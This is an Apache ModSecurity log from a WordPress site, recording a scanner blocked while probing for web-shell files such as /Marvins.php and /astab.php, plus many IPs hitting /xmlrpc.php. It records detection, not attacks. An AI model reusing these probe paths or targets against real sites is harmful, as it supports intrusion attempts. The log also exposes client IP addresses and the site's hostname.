[Fri Apr 17 05:47:30.024214 2026] [:error] [pid 51878:tid 51903] [client 20.91.209.193:32070] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Marvins.php"] [unique_id "aeFY8knQhUtMbw9EsgZuXgAAARc"]
[Fri Apr 17 05:47:30.578417 2026] [:error] [pid 51878:tid 51895] [client 20.91.209.193:32428] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/astab.php"] [unique_id "aeFY8knQhUtMbw9EsgZuZAAAAQ8"]
[Fri Apr 17 05:47:31.106885 2026] [:error] [pid 9263:tid 9272] [client 20.91.209.193:17993] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/astab.php"] [unique_id "aeFY8xP68VyHNvj1e578aAAAAMc"]
[Fri Apr 17 05:47:31.632393 2026] [:error] [pid 51878:tid 51896] [client 20.91.209.193:20230] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/astab.php"] [unique_id "aeFY80nQhUtMbw9EsgZuawAAARA"]
[Fri Apr 17 05:47:32.206755 2026] [:error] [pid 51878:tid 51893] [client 20.91.209.193:9716] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/astab.php"] [unique_id "aeFY9EnQhUtMbw9EsgZubwAAAQ0"]
[Fri Apr 17 05:48:19.074674 2026] [:error] [pid 51878:tid 51900] [client 23.98.148.92:39300] [client 23.98.148.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.98.148.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFZI0nQhUtMbw9EsgZvCQAAARQ"]
[Fri Apr 17 05:48:35.605997 2026] [:error] [pid 9152:tid 9191] [client 155.133.142.66:44911] [client 155.133.142.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.142.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFZM5JYca8I3TNCwIcQvwAAAEE"]
[Fri Apr 17 05:50:47.737627 2026] [:error] [pid 9151:tid 9180] [client 164.132.207.73:55468] [client 164.132.207.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.132.207.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFZt8hTVuRPkua22vSeWAAAABM"]
[Fri Apr 17 05:57:19.479551 2026] [:error] [pid 9151:tid 9167] [client 192.99.70.8:40598] [client 192.99.70.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.99.70.8, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFbP8hTVuRPkua22vSgCQAAAAY"]
[Fri Apr 17 05:59:16.493289 2026] [:error] [pid 9152:tid 9190] [client 49.12.238.251:34516] [client 49.12.238.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.12.238.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFbtJJYca8I3TNCwIcUtQAAAEA"]
[Fri Apr 17 06:00:35.608177 2026] [:error] [pid 51878:tid 51901] [client 185.252.234.215:37648] [client 185.252.234.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.252.234.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFcA0nQhUtMbw9EsgZ4VAAAARU"]
[Fri Apr 17 06:00:40.262329 2026] [:error] [pid 9263:tid 9286] [client 194.182.64.134:46256] [client 194.182.64.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.182.64.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFcCBP68VyHNvj1e54DhgAAANU"]
[Fri Apr 17 06:01:34.843091 2026] [:error] [pid 51878:tid 51896] [client 159.223.61.19:54654] [client 159.223.61.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.61.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFcPknQhUtMbw9EsgZ5bAAAARA"]
[Fri Apr 17 06:01:50.482475 2026] [:error] [pid 9153:tid 9235] [client 45.233.148.131:35672] [client 45.233.148.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.233.148.131, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFcTuMHGxkTZX3c45cHPwAAAJE"]
[Fri Apr 17 06:02:29.630645 2026] [:error] [pid 51878:tid 51902] [client 185.252.234.215:34072] [client 185.252.234.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.252.234.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFcdUnQhUtMbw9EsgZ6SwAAARY"]
[Fri Apr 17 06:03:22.913086 2026] [:error] [pid 51878:tid 51895] [client 107.180.252.236:42900] [client 107.180.252.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.252.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFcqknQhUtMbw9EsgZ6-wAAAQ8"]
[Fri Apr 17 06:03:31.680414 2026] [:error] [pid 9152:tid 9192] [client 81.171.31.185:36392] [client 81.171.31.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.171.31.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFcs5JYca8I3TNCwIcWPAAAAEI"]
[Fri Apr 17 06:07:10.294970 2026] [:error] [pid 9263:tid 9287] [client 37.128.148.215:52932] [client 37.128.148.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.128.148.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFdjhP68VyHNvj1e54HKgAAANY"]
[Fri Apr 17 06:08:07.324354 2026] [:error] [pid 9153:tid 9226] [client 159.223.103.141:47640] [client 159.223.103.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.103.141, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFdx-MHGxkTZX3c45cKZgAAAIg"]
[Fri Apr 17 06:10:47.219993 2026] [:error] [pid 51878:tid 51896] [client 5.9.109.189:32988] [client 5.9.109.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.9.109.189, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFeZ0nQhUtMbw9EsgaA7gAAARA"]
[Fri Apr 17 06:12:09.517783 2026] [:error] [pid 9263:tid 9278] [client 192.206.141.63:48600] [client 192.206.141.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.206.141.63, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFeuRP68VyHNvj1e54J4wAAAM0"]
[Fri Apr 17 06:12:45.836786 2026] [:error] [pid 51878:tid 51895] [client 195.142.136.26:57384] [client 195.142.136.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.142.136.26, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFe3UnQhUtMbw9EsgaCkAAAAQ8"]
[Fri Apr 17 06:20:22.613151 2026] [:error] [pid 9152:tid 9207] [client 128.199.223.38:60796] [client 128.199.223.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.199.223.38, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFgppJYca8I3TNCwIccPwAAAFE"]
[Fri Apr 17 06:22:54.910225 2026] [:error] [pid 9263:tid 9271] [client 185.199.223.93:59720] [client 185.199.223.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.93, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFhPhP68VyHNvj1e54RTQAAAMY"]
[Fri Apr 17 06:27:31.718930 2026] [:error] [pid 9151:tid 9165] [client 147.45.149.57:33368] [client 147.45.149.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.45.149.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFiU8hTVuRPkua22vSsJAAAAAQ"]
[Fri Apr 17 06:32:27.690553 2026] [:error] [pid 51878:tid 51887] [client 103.183.75.90:35340] [client 103.183.75.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.183.75.90, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFje0nQhUtMbw9EsgagAQAAAQc"]
[Fri Apr 17 06:32:39.336695 2026] [:error] [pid 51878:tid 51887] [client 54.38.195.241:38022] [client 54.38.195.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.195.241, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFjh0nQhUtMbw9EsgagTQAAAQc"]
[Fri Apr 17 06:34:06.793387 2026] [:error] [pid 9152:tid 9190] [client 4.240.89.23:49884] [client 4.240.89.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.240.89.23, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFj3pJYca8I3TNCwIcoHwAAAEA"]
[Fri Apr 17 06:35:34.551353 2026] [:error] [pid 9153:tid 9227] [client 51.210.113.223:51362] [client 51.210.113.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.113.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFkNuMHGxkTZX3c45cijgAAAIk"]
[Fri Apr 17 06:35:42.642509 2026] [:error] [pid 9153:tid 9234] [client 92.63.217.210:45218] [client 92.63.217.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.63.217.210, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFkPuMHGxkTZX3c45ci6AAAAJA"]
[Fri Apr 17 06:36:48.772521 2026] [:error] [pid 9153:tid 9223] [client 160.250.186.233:39654] [client 160.250.186.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.250.186.233, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFkgOMHGxkTZX3c45clAgAAAIU"]
[Fri Apr 17 06:40:06.243626 2026] [:error] [pid 9151:tid 9173] [client 160.250.187.3:60188] [client 160.250.187.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.250.187.3, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFlRshTVuRPkua22vS2VQAAAAw"]
[Fri Apr 17 06:40:19.916889 2026] [:error] [pid 51878:tid 51899] [client 52.7.119.212:60254] [client 52.7.119.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.7.119.212, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFlU0nQhUtMbw9EsgasuQAAARM"]
[Fri Apr 17 06:52:45.494656 2026] [:error] [pid 9153:tid 9235] [client 147.182.243.3:48834] [client 147.182.243.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.243.3, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFoPeMHGxkTZX3c45c9zQAAAJE"]
[Fri Apr 17 06:57:26.886659 2026] [:error] [pid 51878:tid 51890] [client 177.130.252.131:51976] [client 177.130.252.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.130.252.131, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFpVknQhUtMbw9EsgbAmQAAAQo"]
[Fri Apr 17 06:57:39.330065 2026] [:error] [pid 9151:tid 9161] [client 66.29.147.6:35506] [client 66.29.147.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.29.147.6, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFpY8hTVuRPkua22vTByQAAAAA"]
[Fri Apr 17 06:58:01.019737 2026] [:error] [pid 25010:tid 25030] [client 35.242.254.186:58942] [client 35.242.254.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.242.254.186, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFpeY-7kkf42RarqQ3WVAAAAVE"]
[Fri Apr 17 07:00:14.626600 2026] [:error] [pid 9153:tid 9230] [client 176.60.210.112:33722] [client 176.60.210.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.60.210.112, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFp_uMHGxkTZX3c45dL2AAAAIw"]
[Fri Apr 17 07:03:38.040825 2026] [:error] [pid 9151:tid 9174] [client 196.27.114.137:43954] [client 196.27.114.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.27.114.137, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFqyshTVuRPkua22vTFigAAAA0"]
[Fri Apr 17 07:10:47.643893 2026] [:error] [pid 9152:tid 9209] [client 150.95.26.37:33884] [client 150.95.26.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.95.26.37, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFsd5JYca8I3TNCwIdCfgAAAFM"]
[Fri Apr 17 07:10:55.127248 2026] [:error] [pid 25010:tid 25028] [client 137.184.46.218:43268] [client 137.184.46.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.46.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFsf4-7kkf42RarqQ3ixwAAAU8"]
[Fri Apr 17 07:13:19.391463 2026] [:error] [pid 25010:tid 25027] [client 52.7.119.212:55022] [client 52.7.119.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.7.119.212, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFtD4-7kkf42RarqQ3kQgAAAU4"]
[Fri Apr 17 07:13:50.478022 2026] [:error] [pid 9151:tid 9174] [client 81.169.202.222:44508] [client 81.169.202.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.169.202.222, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFtLshTVuRPkua22vTHkwAAAA0"]
[Fri Apr 17 07:17:36.088482 2026] [:error] [pid 9263:tid 9275] [client 91.204.161.79:60880] [client 91.204.161.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.204.161.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFuEBP68VyHNvj1e55BZwAAAMo"]
[Fri Apr 17 07:21:52.894568 2026] [:error] [pid 25010:tid 25019] [client 159.89.50.224:48684] [client 159.89.50.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.89.50.224, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFvEI-7kkf42RarqQ3odAAAAUY"]
[Fri Apr 17 07:28:13.545780 2026] [:error] [pid 9153:tid 9237] [client 66.42.61.4:58774] [client 66.42.61.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.42.61.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFwjeMHGxkTZX3c45dfFgAAAJM"]
[Fri Apr 17 07:30:37.107135 2026] [:error] [pid 25010:tid 25030] [client 157.230.98.69:55292] [client 157.230.98.69] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.230.98.69, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFxHY-7kkf42RarqQ3rVAAAAVE"]
[Fri Apr 17 07:32:26.655420 2026] [:error] [pid 9263:tid 9267] [client 162.43.85.120:46834] [client 162.43.85.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.43.85.120, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFxihP68VyHNvj1e55EsQAAAMI"]
[Fri Apr 17 07:33:28.204336 2026] [:error] [pid 25010:tid 25021] [client 177.130.252.131:51809] [client 177.130.252.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.130.252.131, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFxyI-7kkf42RarqQ3rlQAAAUg"]
[Fri Apr 17 07:40:05.232838 2026] [:error] [pid 9153:tid 9240] [client 212.32.253.2:35320] [client 212.32.253.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.32.253.2, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFzVeMHGxkTZX3c45diAwAAAJY"]
[Fri Apr 17 07:46:45.391311 2026] [:error] [pid 51878:tid 51881] [client 149.202.83.206:43824] [client 149.202.83.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.83.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeF05UnQhUtMbw9EsgbSDAAAAQE"]
[Fri Apr 17 07:48:25.475797 2026] [:error] [pid 9153:tid 9223] [client 103.205.142.28:48234] [client 103.205.142.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.205.142.28, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeF1SeMHGxkTZX3c45dkVAAAAIU"]
[Fri Apr 17 07:50:40.309566 2026] [:error] [pid 51878:tid 51882] [client 194.182.64.134:36498] [client 194.182.64.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.182.64.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeF10EnQhUtMbw9EsgbSswAAAQI"]
[Fri Apr 17 07:53:37.104548 2026] [:error] [pid 51878:tid 51890] [client 51.210.123.31:41140] [client 51.210.123.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.123.31, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeF2gUnQhUtMbw9EsgbTAAAAAQo"]
[Fri Apr 17 07:58:52.288130 2026] [:error] [pid 9151:tid 9185] [client 51.210.123.31:52964] [client 51.210.123.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.123.31, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeF3vMhTVuRPkua22vTQJgAAABg"]
[Fri Apr 17 08:08:50.417455 2026] [:error] [pid 9153:tid 9230] [client 36.50.27.26:36356] [client 36.50.27.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.50.27.26, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeF6EuMHGxkTZX3c45dq5wAAAIw"]
[Fri Apr 17 08:09:24.252117 2026] [:error] [pid 34273:tid 34296] [client 91.245.210.195:33802] [client 91.245.210.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.245.210.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeF6NGuQDW686mK3dgExTgAAAZU"]
